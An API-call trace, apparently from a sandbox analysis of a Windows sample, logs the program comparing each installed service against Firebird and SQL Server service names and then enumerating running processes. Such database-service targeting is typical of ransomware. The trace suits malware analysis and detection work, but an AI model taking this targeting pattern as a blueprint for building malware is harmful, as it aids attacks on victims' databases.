	[0206.925] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0206.925] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0206.925] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0206.925] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0206.925] lstrlenW (lpString="EventSystem") returned 11
	[0206.925] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0206.925] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0206.925] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0206.925] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0206.925] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0206.925] lstrlenW (lpString="FontCache") returned 9
	[0206.925] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0206.925] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0206.925] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0206.925] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0206.925] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0206.925] lstrlenW (lpString="gpsvc") returned 5
	[0206.925] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0206.926] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0206.926] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0206.926] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0206.926] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0206.926] lstrlenW (lpString="iphlpsvc") returned 8
	[0206.926] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0206.926] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0206.926] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0206.926] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0206.926] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0206.926] lstrlenW (lpString="KeyIso") returned 6
	[0206.926] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0206.926] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0206.926] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0206.926] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0206.926] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0206.926] lstrlenW (lpString="LanmanServer") returned 12
	[0206.926] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0206.926] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0206.926] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0206.926] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0206.926] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0206.926] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0206.926] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0206.926] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0206.926] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0206.926] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0206.926] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0206.926] lstrlenW (lpString="lfsvc") returned 5
	[0206.926] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0206.926] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0206.926] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0206.926] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0206.927] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0206.927] lstrlenW (lpString="lmhosts") returned 7
	[0206.927] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0206.927] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0206.927] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0206.927] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0206.927] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0206.927] lstrlenW (lpString="LSM") returned 3
	[0206.927] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0206.927] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0206.927] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0206.927] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0206.927] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0206.927] lstrlenW (lpString="MpsSvc") returned 6
	[0206.927] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0206.927] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0206.927] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0206.927] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0206.927] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0206.927] lstrlenW (lpString="NcbService") returned 10
	[0206.927] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0206.927] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0206.927] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0206.927] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0206.927] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0206.927] lstrlenW (lpString="netprofm") returned 8
	[0206.927] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0206.927] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0206.927] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0206.927] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0206.927] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0206.927] lstrlenW (lpString="NgcSvc") returned 6
	[0206.927] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1
	[0206.928] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1
	[0206.928] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1
	[0206.928] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1
	[0206.928] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1
	[0206.928] lstrlenW (lpString="NlaSvc") returned 6
	[0206.928] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0206.928] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0206.928] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0206.928] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0206.928] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0206.928] lstrlenW (lpString="nsi") returned 3
	[0206.928] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0206.928] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0206.928] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0206.928] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0206.928] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0206.928] lstrlenW (lpString="PcaSvc") returned 6
	[0206.928] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0206.928] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0206.928] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0206.928] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0206.928] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0206.928] lstrlenW (lpString="PlugPlay") returned 8
	[0206.928] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0206.928] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0206.928] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0206.928] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0206.928] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0206.928] lstrlenW (lpString="Power") returned 5
	[0206.928] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0206.928] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0206.928] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0206.928] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0206.929] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0206.929] lstrlenW (lpString="ProfSvc") returned 7
	[0206.929] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0206.929] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0206.929] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0206.929] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0206.929] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0206.929] lstrlenW (lpString="RpcEptMapper") returned 12
	[0206.929] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0206.929] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0206.929] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0206.929] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0206.929] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0206.929] lstrlenW (lpString="RpcSs") returned 5
	[0206.929] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0206.929] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0206.929] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0206.929] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0206.929] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0206.929] lstrlenW (lpString="SamSs") returned 5
	[0206.929] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0206.929] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0206.929] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0206.929] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0206.929] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0206.929] lstrlenW (lpString="Schedule") returned 8
	[0206.929] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0206.929] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0206.929] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0206.929] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0206.929] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0206.929] lstrlenW (lpString="SecurityHealthService") returned 21
	[0206.929] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0206.930] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0206.930] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0206.930] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0206.930] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0206.930] lstrlenW (lpString="SENS") returned 4
	[0206.930] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0206.930] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0206.930] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0206.930] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0206.930] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0206.930] lstrlenW (lpString="ShellHWDetection") returned 16
	[0206.930] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0206.930] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0206.930] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0206.930] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0206.930] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0206.930] lstrlenW (lpString="Spooler") returned 7
	[0206.930] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0206.930] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0206.930] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0206.930] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0206.930] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0206.930] lstrlenW (lpString="StateRepository") returned 15
	[0206.930] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0206.930] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0206.930] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0206.930] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0206.930] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0206.930] lstrlenW (lpString="SysMain") returned 7
	[0206.930] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0206.930] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0206.930] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0206.930] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0206.931] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0206.931] lstrlenW (lpString="SystemEventsBroker") returned 18
	[0206.931] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0206.931] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0206.931] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1
	[0206.931] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1
	[0206.931] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1
	[0206.931] lstrlenW (lpString="Themes") returned 6
	[0206.931] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0206.931] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0206.931] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0206.931] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0206.931] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1
	[0206.931] lstrlenW (lpString="tiledatamodelsvc") returned 16
	[0206.931] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0206.931] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0206.931] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1
	[0206.931] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1
	[0206.931] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x44d8910 | out: hHeap=0x560000) returned 1
	[0206.931] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x368
	[0206.935] Process32FirstW (in: hSnapshot=0x368, lppe=0x257fd2c | out: lppe=0x257fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0207.343] Process32NextW (in: hSnapshot=0x368, lppe=0x257fd2c | out: lppe=0x257fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0207.343] lstrlenW (lpString="System") returned 6
	[0207.343] Process32NextW (in: hSnapshot=0x368, lppe=0x257fd2c | out: lppe=0x257fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0207.344] lstrlenW (lpString="smss.exe") returned 8
	[0207.344] Process32NextW (in: hSnapshot=0x368, lppe=0x257fd2c | out: lppe=0x257fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0207.344] lstrlenW (lpString="csrss.exe") returned 9
	[0207.344] Process32NextW (in: hSnapshot=0x368, lppe=0x257fd2c | out: lppe=0x257fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0207.345] lstrlenW (lpString="wininit.exe") returned 11
	[0207.345] Process32NextW (in: hSnapshot=0x368, lppe=0x257fd2c | out: lppe=0x257fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0207.345] lstrlenW (lpString="csrss.exe") returned 9
	[0207.345] Process32NextW (in: hSnapshot=0x368, lppe=0x257fd2c | out: lppe=0x257fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0207.346] lstrlenW (lpString="winlogon.exe") returned 12
	[0207.346] Process32NextW (in: hSnapshot=0x368, lppe=0x257fd2c | out: lppe=0x257fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0207.346] lstrlenW (lpString="services.exe") returned 12
	[0207.346] Process32NextW (in: hSnapshot=0x368, lppe=0x257fd2c | out: lppe=0x257fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0207.347] lstrlenW (lpString="lsass.exe") returned 9
	[0207.347] Process32NextW (in: hSnapshot=0x368, lppe=0x257fd2c | out: lppe=0x257fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0207.347] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0207.347] Process32NextW (in: hSnapshot=0x368, lppe=0x257fd2c | out: lppe=0x257fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0207.348] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0207.348] Process32NextW (in: hSnapshot=0x368, lppe=0x257fd2c | out: lppe=0x257fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0207.348] lstrlenW (lpString="svchost.exe") returned 11
	[0207.348] Process32NextW (in: hSnapshot=0x368, lppe=0x257fd2c | out: lppe=0x257fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0207.349] lstrlenW (lpString="svchost.exe") returned 11
	[0207.349] Process32NextW (in: hSnapshot=0x368, lppe=0x257fd2c | out: lppe=0x257fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x388, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0207.349] lstrlenW (lpString="dwm.exe") returned 7
	[0207.349] Process32NextW (in: hSnapshot=0x368, lppe=0x257fd2c | out: lppe=0x257fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0207.350] lstrlenW (lpString="svchost.exe") returned 11
	[0207.350] Process32NextW (in: hSnapshot=0x368, lppe=0x257fd2c | out: lppe=0x257fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0207.350] lstrlenW (lpString="svchost.exe") returned 11
	[0207.350] Process32NextW (in: hSnapshot=0x368, lppe=0x257fd2c | out: lppe=0x257fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0207.351] lstrlenW (lpString="svchost.exe") returned 11
	[0207.351] Process32NextW (in: hSnapshot=0x368, lppe=0x257fd2c | out: lppe=0x257fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x38, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0207.351] lstrlenW (lpString="svchost.exe") returned 11
	[0207.351] Process32NextW (in: hSnapshot=0x368, lppe=0x257fd2c | out: lppe=0x257fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0207.352] lstrlenW (lpString="svchost.exe") returned 11
	[0207.352] Process32NextW (in: hSnapshot=0x368, lppe=0x257fd2c | out: lppe=0x257fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x430, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0207.352] lstrlenW (lpString="svchost.exe") returned 11
	[0207.352] Process32NextW (in: hSnapshot=0x368, lppe=0x257fd2c | out: lppe=0x257fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x56c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0207.353] lstrlenW (lpString="svchost.exe") returned 11
	[0207.353] Process32NextW (in: hSnapshot=0x368, lppe=0x257fd2c | out: lppe=0x257fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0207.353] lstrlenW (lpString="svchost.exe") returned 11
	[0207.353] Process32NextW (in: hSnapshot=0x368, lppe=0x257fd2c | out: lppe=0x257fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0207.354] lstrlenW (lpString="svchost.exe") returned 11
	[0207.354] Process32NextW (in: hSnapshot=0x368, lppe=0x257fd2c | out: lppe=0x257fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0207.354] lstrlenW (lpString="svchost.exe") returned 11
	[0207.354] Process32NextW (in: hSnapshot=0x368, lppe=0x257fd2c | out: lppe=0x257fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x62c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0207.355] lstrlenW (lpString="spoolsv.exe") returned 11
	[0207.355] Process32NextW (in: hSnapshot=0x368, lppe=0x257fd2c | out: lppe=0x257fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x690, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0207.355] lstrlenW (lpString="svchost.exe") returned 11
	[0207.355] Process32NextW (in: hSnapshot=0x368, lppe=0x257fd2c | out: lppe=0x257fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x56c, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0207.356] lstrlenW (lpString="audiodg.exe") returned 11
